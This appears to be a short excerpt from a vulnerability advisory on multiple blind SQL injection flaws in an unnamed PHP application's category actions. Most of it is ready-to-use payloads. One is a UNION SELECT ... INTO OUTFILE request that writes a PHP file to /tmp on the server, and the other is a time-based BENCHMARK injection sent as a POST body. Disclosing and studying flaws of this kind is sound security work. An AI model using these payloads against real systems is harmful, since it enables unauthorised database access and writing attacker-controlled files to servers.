- [A] Multiple Blind SQL Injection

This is a Blind SQL Injection bug but into the
database there aren't very reserved information
such as usernames and/or passwords. However this
injection can be used to write arbitrary files
on the server (when allowed).

http://site/path/index.php?action=delete_category&id=1' UNION ALL SELECT NULL,'evil code' INTO OUTFILE '/tmp/file.php

Send it as a POST packet:

action=update_category&id=9999&name=blabla' WHERE 1=0 OR IF(ASCII(CHAR(97)) = 97,BENCHMARK(10000000000,null),null)%23
